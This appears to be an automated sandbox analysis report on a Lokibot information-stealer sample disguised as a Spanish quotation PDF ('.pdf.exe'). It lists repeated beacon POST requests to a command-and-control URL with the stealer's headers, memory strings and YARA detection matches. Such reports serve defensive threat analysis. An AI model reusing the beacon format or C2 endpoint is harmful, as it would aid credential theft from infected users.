Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 165Connection: close

Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Code function: 14_2_00404ED4 recv,

14_2_00404ED4

Source: unknown

DNS traffic detected: queries for: zamloki.xyz

Source: unknown

HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 192Connection: close

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 04 Aug 2021 11:55:51 GMTContent-Type: text/html; charset=UTF-8Connection: closestatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=LeA%2FracpBPusptzPjcxk90VJ%2FfXoWFSZwjDAEt1mkgKD9OLKYHSfEgJ1LMSImukvp27wfnDPvN9onEwUPYk%2BW824T9gGprVqab0g0V3ngZHHrxpdkJTW4Ky5GMoa8w%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6797995ad9ac4351-FRAalt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Source: Cotizaci#U00f3n-20210803.pdf.exe, Cotizaci#U00f3n-20210803.pdf.exe, 0000000E.00000002.493715500.0000000000400000.00000040.00000001.sdmp	String found in binary or memory: http://www.ibsensoftware.com/
Source: Cotizaci#U00f3n-20210803.pdf.exe, 0000000E.00000002.494440021.00000000010A8000.00000004.00000020.sdmp	String found in binary or memory: https://zamloki.xyz/des/co/tox.php

System Summary:

Malicious sample detected (through community Yara rule)

Show sources

Source: 14.2.Cotizaci#U00f3n-20210803.pdf.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 14.2.Cotizaci#U00f3n-20210803.pdf.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 14.2.Cotizaci#U00f3n-20210803.pdf.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 14.2.Cotizaci#U00f3n-20210803.pdf.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 0.2.Cotizaci#U00f3n-20210803.pdf.exe.4063030.4.raw.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 0.2.Cotizaci#U00f3n-20210803.pdf.exe.4063030.4.raw.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 0.2.Cotizaci#U00f3n-20210803.pdf.exe.4063030.4.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 0.2.Cotizaci#U00f3n-20210803.pdf.exe.4063030.4.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000002.302215135.0000000002EE0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 0000000E.00000002.493715500.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Loki Payload Author: kevoreilly
Source: 0000000E.00000002.493715500.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000002.304824656.0000000003FD9000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group

Initial sample is a PE file and has a suspicious name

Show sources

Source: initial sample

Static PE information: Filename: Cotizaci#U00f3n-20210803.pdf.exe

Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 0_2_012D22A0	0_2_012D22A0
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 0_2_012D8400	0_2_012D8400
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 0_2_012DE678	0_2_012DE678
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 0_2_012D69C0	0_2_012D69C0
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 0_2_012D6CCF	0_2_012D6CCF
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 0_2_012D6F48	0_2_012D6F48
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 0_2_012D1028	0_2_012D1028
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 0_2_012D7200	0_2_012D7200
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 0_2_012D3258	0_2_012D3258
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 0_2_012D12C0	0_2_012D12C0
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 0_2_012D7520	0_2_012D7520
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 0_2_012D1881	0_2_012D1881
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 0_2_012D5B10	0_2_012D5B10
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 0_2_012DDA1A	0_2_012DDA1A
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 0_2_012D40E9	0_2_012D40E9
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 0_2_012D40F8	0_2_012D40F8
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 0_2_012D837D	0_2_012D837D
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 0_2_012D0470	0_2_012D0470
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 0_2_012D4BF0	0_2_012D4BF0
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 0_2_012DCA8A	0_2_012DCA8A
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 0_2_012DCAC0	0_2_012DCAC0
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 0_2_012D4C00	0_2_012D4C00
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 0_2_012D6F38	0_2_012D6F38
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 0_2_012D4F11	0_2_012D4F11
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 0_2_012D0F80	0_2_012D0F80
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 0_2_012D3127	0_2_012D3127
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 0_2_012D3148	0_2_012D3148
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 0_2_012D71EF	0_2_012D71EF
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 0_2_012D5281	0_2_012D5281
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 0_2_012D5290	0_2_012D5290
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 0_2_012D7511	0_2_012D7511
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 0_2_012D54B9	0_2_012D54B9
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 0_2_012D54C8	0_2_012D54C8
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 0_2_012D5749	0_2_012D5749
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 0_2_012D5758	0_2_012D5758
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 0_2_05C645C8	0_2_05C645C8
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 0_2_05C6E5A1	0_2_05C6E5A1
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 0_2_05C694C3	0_2_05C694C3
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 0_2_05C60040	0_2_05C60040
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 0_2_05C6A058	0_2_05C6A058
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 0_2_05C65C2B	0_2_05C65C2B
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 0_2_05C6E7E0	0_2_05C6E7E0
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 0_2_05C6AE50	0_2_05C6AE50
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 0_2_05C69183	0_2_05C69183
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 0_2_05C69188	0_2_05C69188
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 0_2_05C6890B	0_2_05C6890B
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 0_2_05C64531	0_2_05C64531
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 0_2_05C68C88	0_2_05C68C88
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 0_2_05C68C7B	0_2_05C68C7B
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 0_2_05C6B800	0_2_05C6B800
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 0_2_05C6E7D0	0_2_05C6E7D0
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 0_2_05C6B7F1	0_2_05C6B7F1
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 0_2_05C69FA8	0_2_05C69FA8
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 0_2_05C68EC0	0_2_05C68EC0
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 0_2_05C6E2D0	0_2_05C6E2D0
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 0_2_05C67A88	0_2_05C67A88
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 0_2_05C68EB0	0_2_05C68EB0
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 0_2_05C63A50	0_2_05C63A50
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 0_2_05C67A78	0_2_05C67A78
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 0_2_05C68620	0_2_05C68620
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 0_2_05C68630	0_2_05C68630
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 14_2_0040549C	14_2_0040549C
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: 14_2_004029D4	14_2_004029D4

Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: String function: 0041219C appears 45 times
Source: C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe	Code function: String function: 00405B6F appears 42 times

Source: Cotizaci#U00f3n-20210803.pdf.exe	Binary or memory string: OriginalFilename vs Cotizaci#U00f3n-20210803.pdf.exe
Source: Cotizaci#U00f3n-20210803.pdf.exe, 00000000.00000002.301582822.0000000002BA0000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameResource_Meter.dll> vs Cotizaci#U00f3n-20210803.pdf.exe
Source: Cotizaci#U00f3n-20210803.pdf.exe, 00000000.00000002.305802248.0000000005C70000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameMajorRevision.exe< vs Cotizaci#U00f3n-20210803.pdf.exe
Source: Cotizaci#U00f3n-20210803.pdf.exe, 00000000.00000002.300498098.00000000008A2000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameCwGAQLZnF.exeD vs Cotizaci#U00f3n-20210803.pdf.exe
Source: Cotizaci#U00f3n-20210803.pdf.exe, 00000000.00000002.305892545.00000000077D0000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamemscorrc.dllT vs Cotizaci#U00f3n-20210803.pdf.exe
Source: Cotizaci#U00f3n-20210803.pdf.exe	Binary or memory string: OriginalFilename vs Cotizaci#U00f3n-20210803.pdf.exe
Source: Cotizaci#U00f3n-20210803.pdf.exe, 0000000E.00000000.300066897.0000000000A02000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameCwGAQLZnF.exeD vs Cotizaci#U00f3n-20210803.pdf.exe
Source: Cotizaci#U00f3n-20210803.pdf.exe	Binary or memory string: OriginalFilenameCwGAQLZnF.exeD vs Cotizaci#U00f3n-20210803.pdf.exe

Source: Cotizaci#U00f3n-20210803.pdf.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: 14.2.Cotizaci#U00f3n-20210803.pdf.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 14.2.Cotizaci#U00f3n-20210803.pdf.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 14.2.Cotizaci#U00f3n-20210803.pdf.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 14.2.Cotizaci#U00f3n-20210803.pdf.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 0.2.Cotizaci#U00f3n-20210803.pdf.exe.4063030.4.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 0.2.Cotizaci#U00f3n-20210803.pdf.exe.4063030.4.raw.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 0.2.Cotizaci#U00f3n-20210803.pdf.exe.4063030.4.raw.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 0.2.Cotizaci#U00f3n-20210803.pdf.exe.4063030.4.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 0.2.Cotizaci#U00f3n-20210803.pdf.exe.4063030.4.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 0.2.Cotizaci#U00f3n-20210803.pdf.exe.4063030.4.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000002.302215135.0000000002EE0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 0000000E.00000002.493715500.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 0000000E.00000002.493715500.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
